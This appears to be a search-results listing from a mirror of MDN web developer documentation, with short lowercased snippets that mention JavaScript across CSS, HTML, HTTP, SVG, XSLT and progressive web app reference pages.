nd normal</option> <option value="left auto">left auto</option> <option value="right normal">right normal</option> <option value="baseline normal">baseline normal</option> <option value="first baseline auto">first baseline auto</option> <option value="last baseline normal">last baseline normal</option> <option value="stretch auto">stretch auto</option> </select> </div> javascript var values = document.getelementbyid('values'); var display = document.getelementbyid('display'); var container = document.getelementbyid('container'); values.addeventlistener('change', function (evt) { container.style.placeitems = evt.target.value; }); display.addeventlistener('change', function (evt) { container.classname = evt.target.value; }); css #container { height:200px; wid...
<transform-function> - CSS: Cascading Style Sheets
ight { background: rgba(210,0,0,.7); transform: rotatey(90deg) translatez(50px); } .left { background: rgba(0,0,210,.7); transform: rotatey(-90deg) translatez(50px); } .top { background: rgba(210,210,0,.7); transform: rotatex(90deg) translatez(50px); } .bottom { background: rgba(210,0,210,.7); transform: rotatex(-90deg) translatez(50px); } .select-form { margin-top: 50px; } javascript const selectelem = document.queryselector('select'); const example = document.queryselector('#example-element'); selectelem.addeventlistener('change', () => { if(selectelem.value === 'choose a function') { return; } else { example.style.transform = `rotate3d(1, 1, 1, 30deg) ${selectelem.value}`; settimeout(function() { example.style.transform = 'rotate3d(1, 1, 1, 30deg)'; ...
transform-style - CSS: Cascading Style Sheets
otatey(180deg) translatez(50px); } .right { background: rgba(210,0,0,.7); transform: rotatey(90deg) translatez(50px); } .left { background: rgba(0,0,210,.7); transform: rotatey(-90deg) translatez(50px); } .top { background: rgba(210,210,0,.7); transform: rotatex(90deg) translatez(50px); } .bottom { background: rgba(210,0,210,.7); transform: rotatex(-90deg) translatez(50px); } javascript const cube = document.getelementbyid('example-element'); const checkbox = document.getelementbyid('preserve'); checkbox.addeventlistener('change', () => { if(checkbox.checked) { cube.style.transformstyle = 'preserve-3d'; } else { cube.style.transformstyle = 'flat'; } }) result specifications specification status comment css transforms level 2the de...
transition - CSS: Cascading Style Sheets
different states may be defined using pseudo-classes like :hover or :active or dynamically set using javascript.
Used value - CSS: Cascading Style Sheets
th-50"> <p>explicit width: 50%.</p> <p class="show-used-width">..</p> <div id="width-inherit"> <p>explicit width: inherit.</p> <p class="show-used-width">..</p> </div> </div> </div> css #no-width { width: auto; } #width-50 { width: 50%; } #width-inherit { width: inherit; } /* make results easier to see */ div { border: 1px solid red; padding: 8px; } javascript function updateusedwidth(id) { var div = document.queryselector(`#${id}`); var par = div.queryselector('.show-used-width'); var wid = window.getcomputedstyle(div)["width"]; par.textcontent = `used width: ${wid}.`; } function updateallusedwidths() { updateusedwidth("no-width"); updateusedwidth("width-50"); updateusedwidth("width-inherit"); } updateallusedwidths(); window.addeventl...
regexp:match() - EXSLT
WebEXSLTregexpmatch
regexpstring the javascript style regular expression to evaluate.
regexp:replace() - EXSLT
WebEXSLTregexpreplace
regexpstring the javascript style regular expression to evaluate.
regexp:test() - EXSLT
WebEXSLTregexptest
regexpstring the javascript style regular expression to evaluate.
Regular expressions (regexp) - EXSLT
WebEXSLTregexp
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the exslt regular expressions package provides functions that allow testing, matching, and replacing text using javascript style regular expressions.
Community - Developer guides
WebGuideAJAXCommunity
ajax resources ajax workshops and courses skillsmatter.com: courses and events on javascript, ajax, and reverse ajax technologies telerik.com: an active community forum for ajax community.tableau.com: community support forum and courses available for ajax codementor.io: social platform with ajax forums and tutorials lynda.com: tutorials available for learning the fundamentals of ajax ajax interview questions and answer and answerinterwiki links ...
Guide to Web APIs - Developer guides
WebGuideAPI
the web includes a wide array of apis that can be used from javascript to build increasingly more powerful and capable applications, running either on the web, locally, or through technology such as node.js, on a server.
Setting up adaptive streaming media sources - Developer guides
note: since mpeg-dash decoding is done partially using javascript and mse files are often grabbed using xhr, keep same origin rules in mind.
Web Audio playbackRate explained - Developer guides
ntrols in html: <video id="myvideo" controls> <source src="https://udn.realityripple.com/samples/6f/08625b424a.m4v" type='video/mp4' /> <source src="https://udn.realityripple.com/samples/5b/8cd6da9c65.webm" type='video/webm' /> </video> <form> <input id="pbr" type="range" value="1" min="0.5" max="4" step="0.1" > <p>playback rate <span id="currentpbr">1</span></p> </form> and apply some javascript to it: window.onload = function () { var v = document.getelementbyid("myvideo"); var p = document.getelementbyid("pbr"); var c = document.getelementbyid("currentpbr"); p.addeventlistener('input',function(){ c.innerhtml = p.value; v.playbackrate = p.value; },false); }; finally, we listen for the input event firing on the <input> element, allowing us to react to the playback ...
Writing Web Audio API code that works in every browser - Developer guides
if it's using, for example, oscillatornode, you will have to wait until it is supported, or maybe, if you're really eager, hack in some replacement using scriptprocessornode, which allows you to write a node with callbacks that get called periodically, so that your javascript code generates or processes audio.
Event developer guide - Developer guides
WebGuideEvents
this article provides details about the coordinate systems at play and how you use them.overview of events and handlersevents and event handling provide a core technique in javascript for reacting to incidents occurring when a browser accesses a web page, including events from preparing a web page for display, from interacting with the content of the web page, relating to the device on which the browser is running, and from many other causes such as media stream playback or animation timing.touch events (mozilla experimental)the experimental touch events api described on this...
Graphics on the Web - Developer guides
2d graphics canvas the <canvas> element provides apis to draw 2d graphics using javascript.
A hybrid approach - Developer guides
this is something you might be able to discern on the client-side using javascript feature detection from modernizr or detect it.
Mobile-friendliness - Developer guides
needless to say, a fixed-width, three-column layout filled with complex javascript animations and mouse-over effects is not going to look or feel quite right on a phone with a 2-inch-wide screen and a diminutive processor.
Separate sites for mobile and desktop - Developer guides
this is because you have the option of sending completely separate html, javascript, and css to phones and pcs.
Developer guides
javascript javascript is the powerful scripting language used to create applications for the web.
DASH Adaptive Streaming for HTML 5 Video - HTML: Hypertext Markup Language
it will be replaced by an implementation of the media source extensions api which will allow support for dash via javascript libraries such as dash.js.
<abbr>: The Abbreviation element - HTML: Hypertext Markup Language
WebHTMLElementabbr
example <p>javascript object notation (<abbr>json</abbr>) is a lightweight data-interchange format.</p> this is especially helpful for people who are unfamiliar with the terminology or concepts discussed in the content, people who are new to the language, and people with cognitive concerns.
<dialog>: The Dialog element - HTML: Hypertext Markup Language
WebHTMLElementdialog
<option>brine shrimp</option> <option>red panda</option> <option>spider monkey</option> </select> </label></p> <menu> <button value="cancel">cancel</button> <button id="confirmbtn" value="default">confirm</button> </menu> </form> </dialog> <menu> <button id="updatedetails">update details</button> </menu> <output aria-live="polite"></output> javascript var updatebutton = document.getelementbyid('updatedetails'); var favdialog = document.getelementbyid('favdialog'); var outputbox = document.queryselector('output'); var selectel = document.queryselector('select'); var confirmbtn = document.getelementbyid('confirmbtn'); // "update details" button opens the <dialog> modally updatebutton.addeventlistener('click', function onopen() { if (typeof f...
<element>: The Custom Element element (Obsolete) - HTML: Hypertext Markup Language
WebHTMLElementelement
it was removed in favor of a javascript-driven approach for creating new custom elements.
<img>: The Image Embed element - HTML: Hypertext Markup Language
WebHTMLElementimg
note: loading is only deferred when javascript is enabled.
<input type="color"> - HTML: Hypertext Markup Language
WebHTMLElementinputcolor
when you close the color picker, the <code>change</code> event fires, and we detect that to change every paragraph to the selected color.</p> javascript first, there's some setup.
<input type="hidden"> - HTML: Hypertext Markup Language
WebHTMLElementinputhidden
hidden inputs cannot be focused even using javascript (e.g.
<input type="radio"> - HTML: Hypertext Markup Language
WebHTMLElementinputradio
choice1">email</label> <input type="radio" id="contactchoice2" name="contact" value="phone"> <label for="contactchoice2">phone</label> <input type="radio" id="contactchoice3" name="contact" value="mail"> <label for="contactchoice3">mail</label> </div> <div> <button type="submit">submit</button> </div> </form> <pre id="log"> </pre> then we add some javascript to set up an event listener on the submit event, which is sent when the user clicks the "submit" button: var form = document.queryselector("form"); var log = document.queryselector("#log"); form.addeventlistener("submit", function(event) { var data = new formdata(form); var output = ""; for (const entry of data) { output = output + entry[0] + "=" + entry[1] + "\r"; }; log.innertex...
<menuitem> - HTML: Hypertext Markup Language
WebHTMLElementmenuitem
</menuitem> <menuitem type="command" label="this command has javascript" onclick="alert('command clicked')"> commands don't render their contents.
<p>: The Paragraph element - HTML: Hypertext Markup Language
WebHTMLElementp
switch back!">use pilcrow for paragraphs</button> </p> css p { margin: 0; text-indent: 3ch; } p.pilcrow { text-indent: 0; display: inline; } p.pilcrow + p.pilcrow::before { content: " ¶ "; } javascript document.queryselector('button').addeventlistener('click', function (event) { document.queryselectorall('p').foreach(function (paragraph) { paragraph.classlist.toggle('pilcrow'); }); var newbuttontext = event.target.dataset.toggletext; var oldtext = event.target.innertext; event.target.innertext = newbuttontext; event.target.dataset.toggletext = oldtext; }); result accessibil...
<samp>: The Sample Output element - HTML: Hypertext Markup Language
WebHTMLElementsamp
the css to override the default font face would look like this: samp { font-family: "courier"; } if you need an element which will serve as a container for output generated by your website or app's javascript code, you should instead use the <output> element.
<select>: The HTML Select element - HTML: Hypertext Markup Language
WebHTMLElementselect
if you want to get full control, you should consider using a library with good facilities for styling form widgets, or try rolling your own dropdown menu using non-semantic elements, javascript, and wai-aria to provide semantics.
<tr>: The Table Row element - HTML: Hypertext Markup Language
WebHTMLElementtr
omitting the attribute or setting it to null in javascript causes the row's cells to inherit the row's parent element's background color.
class - HTML: Hypertext Markup Language
classes allow css and javascript to select and access specific elements via the class selectors or functions like the dom method document.getelementsbyclassname.
contextmenu - HTML: Hypertext Markup Language
geimage"> on the image below, you can fire the "change image" action in your context menu.<br /> <img src="https://udn.realityripple.com/samples/a2/b601bdfc0c.png" contextmenu="changeimage" id="promobutton" /> <menu type="context" id="changeimage"> <menuitem label="change image" onclick="changeimage()"></menuitem> </menu> </li> </ol> </body> javascript function shareviatwitter() { window.open("https://twitter.com/intent/tweet?text=" + "hurray!
Global attributes - HTML: Hypertext Markup Language
classes allows css and javascript to select and access specific elements via the class selectors or functions like the method document.getelementsbyclassname().
HTML: Hypertext Markup Language
WebHTML
other technologies besides html are generally used to describe a web page's appearance/presentation (css) or functionality/behavior (javascript).
Identifying resources on the Web - HTTP
common schemes are: scheme description data data uris file host-specific file names ftp file transfer protocol http/https hyper text transfer protocol (secure) javascript url-embedded javascript code mailto electronic mail address ssh secure shell tel telephone urn uniform resource names view-source source code of the resource ws/wss (encrypted) websocket connections authority www.example.com is the domain name or authority that governs the namespace.
Browser detection using the user agent - HTTP
always be very deliberate about choosing the right media query and choosing the right >=, <=, >, or < in any corresponding javascript because it is very easy to get these mixed up, resulting in the website looking wonking right at the screen size where the layout changes.
Reason: CORS header ‘Origin’ cannot be added - HTTP
this can happen if the javascript code is running with enhanced privileges allowing it access to multiple domains' content, for example.
CORS errors - HTTP
WebHTTPCORSErrors
note: for security reasons, specifics about what went wrong with a cors request are not available to javascript code.
Content Security Policy (CSP) - HTTP
WebHTTPCSP
example 5 a web site administrator of a web mail site wants to allow html in email, as well as images loaded from anywhere, but not javascript or other potentially dangerous content.
List of default Accept values - HTTP
user agent value comment firefox */* see bug 170789 safari, chrome */* source internet explorer 8 or earlier */* see ie and the accept header (ieinternals' msdn blog) internet explorer 9 application/javascript, */*;q=0.8 see fiddler is better with internet explorer 9 (ieinternals' msdn blog) values for a css stylesheet when a css stylesheet is requested, via the <link rel="stylesheet"> html element, most browsers use specific values.
Content negotiation - HTTP
besides falling back to the server-driven negotiation, this method is almost always used in conjunction with scripting, especially with javascript redirection: after having checked for the negotiation criteria, the script performs the redirection.
Cache-Control - HTTP
this includes static files that are served by the application such as images, css files and javascript files, for example.
DNT - HTTP
WebHTTPHeadersDNT
examples reading do not track status from javascript the user's dnt preference can also be read from javascript using the navigator.donottrack property: navigator.donottrack; // "0" or "1" specifications specification status comment tracking preference expression (dnt)the definition of 'dnt header field for http requests' in that specification.
Referer - HTTP
WebHTTPHeadersReferer
examples referer: https://developer.mozilla.org/docs/web/javascript specifications specification title rfc 7231, section 5.5.2: referer hypertext transfer protocol (http/1.1): semantics and content ...
Server-Timing - HTTP
performanceservertiming interface in addition to having server-timing header metrics appear in the developer tools of the browser, the performanceservertiming interface enables tools to automatically collect and process metrics from javascript.
Firefox user agent string reference - HTTP
here is a javascript regular expression that will detect all mobile devices, including devices with a device id in their ua string: /mobi/i the i makes it case-insensitive, and mobi matches all mobile browsers.
X-Content-Type-Options - HTTP
header type response header forbidden header name no syntax x-content-type-options: nosniff directives nosniff blocks a request if the request destination is of type: "style" and the mime type is not text/css, or "script" and the mime type is not a javascript mime type enables cross-origin read blocking (corb) protection for the mime-types: text/html text/plain text/json, application/json or any other type with a json extension: */*+json text/xml, application/xml or any other type with an xml extension: */*+xml (excluding image/svg+xml) specifications specification status comment fetchthe definition of 'x-...
X-DNS-Prefetch-Control - HTTP
the x-dns-prefetch-control http response header controls dns prefetching, a feature by which browsers proactively perform domain name resolution on both links that the user may choose to follow as well as urls for items referenced by the document, including images, css, javascript, and so forth.
X-XSS-Protection - HTTP
although these protections are largely unnecessary in modern browsers when sites implement a strong content-security-policy that disables the use of inline javascript ('unsafe-inline'), they can still provide protections for users of older web browsers that don't yet support csp.
HTTP headers - HTTP
WebHTTPHeaders
x-dns-prefetch-control controls dns prefetching, a feature by which browsers proactively perform domain name resolution on both links that the user may choose to follow as well as urls for items referenced by the document, including images, css, javascript, and so forth.
MathML
mailing list newsgroup rss feed matrix chat room wiki used by mozilla contributors w3c math home www-math w3.org mail archive tools w3c validator mathzilla firefox add-on collection texzilla — javascript latex to mathml converter (live demo, firefox os webapp, firefox add-on, using in a web page, js program etc) latexml - convert latex documents into html+mathml web pages web equation - turn handwritten equations into mathml or latex mathjax - cross-browser javascript display engine for mathematics.
Autoplay guide for media and Web Audio APIs - Web media technologies
this includes both the use of html attributes to autoplay media as well as the user of javascript code to start playback outside the context of handling user input.
Handling media support issues in web content - Web media technologies
specifying multiple sources checking compatibility in javascript htmlmediaelement.canplaytype and mediasource.istypesupported...
Web video codec guide - Web media technologies
non-web browser implementations of webrtc (any implementation which doesn't include the javascript apis) are required to support avc as a codec in webrtc calls.
The "codecs" parameter in common media types - Web media technologies
you can use the javascript encodeuri() function to encode the parameter list; similarly, you can use decodeuri() to decode a previously encoded parameter list.
Recommended Web Performance Timings: How long is too long? - Web Performance
if the thread is busy doing complex javascript execution, the main thread will not be available to react to user input, such as pressing a button.
Add to Home screen - Progressive web apps (PWAs)
to make our pwa installable on desktop, we first added a button to our document to allow users to do the installation — this isn't made available automatically on desktop apps, and the installation needs to be triggered by a user gesture: <button class="add-button">add to home screen</button> we then gave it some simple styling: .add-button { position: absolute; top: 1px; left: 1px; } javascript for handling the install at the bottom of our index.js file, we added some javascript to handle the installation.
How to make PWAs re-engageable using Notifications and Push - Progressive web apps (PWAs)
now, onto the next javascript file.
Media - Progressive web apps (PWAs)
the next page describes how you can change rules dynamically by using a programming language: javascript.
Progressive web apps (PWAs)
tools localforage — a nice simple javascript library for making client-side data storage really simple; it uses indexeddb by default and falls back to web sql/web storage if necessary.
Web API reference - Web technology reference
WebReferenceAPI
these can be accessed using javascript code, and let you do anything from making minor adjustments to any window or element, to generating intricate graphical and audio effects using apis such as webgl and web audio.
textLength - SVG: Scalable Vector Graphics
javascript finally, let's have a look at the javascript code.
visibility - SVG: Scalable Vector Graphics
"button-icon"> <path d="m16.59 8.59l12 13.17 7.41 8.59 6 10l6 6 6-6z" /> <path d="m12 8l-6 6 1.41 1.41l12 10.83l4.59 4.58l18 14z" class="invisible" /> <path d="m0 0h24v24h0z" fill="none" /> </svg> <span> click me </span> </button> css svg { display: inline !important; } span { vertical-align: 50%; } button { line-height: 1em; } .invisible { visibility: hidden; } javascript document.queryselector("button").addeventlistener("click", function (evt) { this.queryselector("svg > path:nth-of-type(1)").classlist.toggle("invisible"); this.queryselector("svg > path:nth-of-type(2)").classlist.toggle("invisible"); }); specifications specification status comment css level 2 (revision 1)the definition of 'visibility' in that specification.
Linking - SVG: Scalable Vector Graphics
WebSVGLinking
to get around this, requires a little ugly javascript hacking: button.svg: <?xml version="1.1" encoding="utf-8"?> <svg xmlns="http://www.w3.org/2000/svg"> <g onclick="top.document.href='page2.html'" cursor="pointer"> <!-- button graphical elements here --> </g> </svg> example for an example of this solution at work see www.codedread.com.
SVG as an Image - SVG: Scalable Vector Graphics
css background-image gecko-specific contexts additionally, gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) introduced support for using svg in these contexts: css list-style-image css content svg <image> element svg <feimage> element canvas drawimage function restrictions for security purposes, gecko places some restrictions on svg content when it's being used as an image: javascript is disabled.
Scripting - SVG: Scalable Vector Graphics
WebSVGScripting
inter-document scripting: calling javascript functions when calling a javascript function that resides in the html file from an svg file that is embedded in an html document, you should use parent.functionname() to reference the function.
Getting started - SVG: Scalable Vector Graphics
finally, svg can be created dynamically with javascript and injected into the html dom.
SVG Tutorial - SVG: Scalable Vector Graphics
WebSVGTutorial
scripting svg with javascript tbd svg filters tutorial tbd animations with smil in svg tbd creating fonts in svg tbd ...
Types of attacks - Web security
the malicious content often includes javascript, but sometimes html, flash, or any other code the browser can execute.
Index - XPath
WebXPathIndex
55 index index, reference, xpath, xslt found 57 pages: 56 introduction to using xpath in javascript add-ons, dom, extensions, javascript, transforming_xml_with_xslt, web development, xml, xpath, xslt this document describes the interface for using xpath in javascript internally, in extensions, and from websites.
<xsl:message> - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElementmessage
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the <xsl:message> element outputs a message (to the javascript console in ns) and optionally terminates execution of the stylesheet.
Resources - XSLT: Extensible Stylesheet Language Transformations
resources using the mozilla javascript interface to xsl transformations mozilla.org's xslt project page, which includes a frequently encountered issues section.
XSLT: Extensible Stylesheet Language Transformations
WebXSLT
using the mozilla javascript interface to xsl transformations this document describes the javascript interface to the xslt processing engine in mozilla 1.2 and up.
Web technology for developers
accessibilitycss houdinicss: cascading style sheetsdemos of open web technologiesdeveloper guidesexsltevent referencehtml: hypertext markup languagehttpjavascriptmathmlopensearch description formatprivacy, permissions, and information securityprogressive web apps (pwas)svg: scalable vector graphicstutorialsweb apisweb componentsweb performanceweb app manifestsweb media technologiesweb securityweb technology referencexml: extensible markup languagexpathxslt: extensible stylesheet language transformations ...
Converting WebAssembly text format to wasm - WebAssembly
when it is called, it calls an imported javascript function called imported_func, which is run with the value (42) provided as a parameter.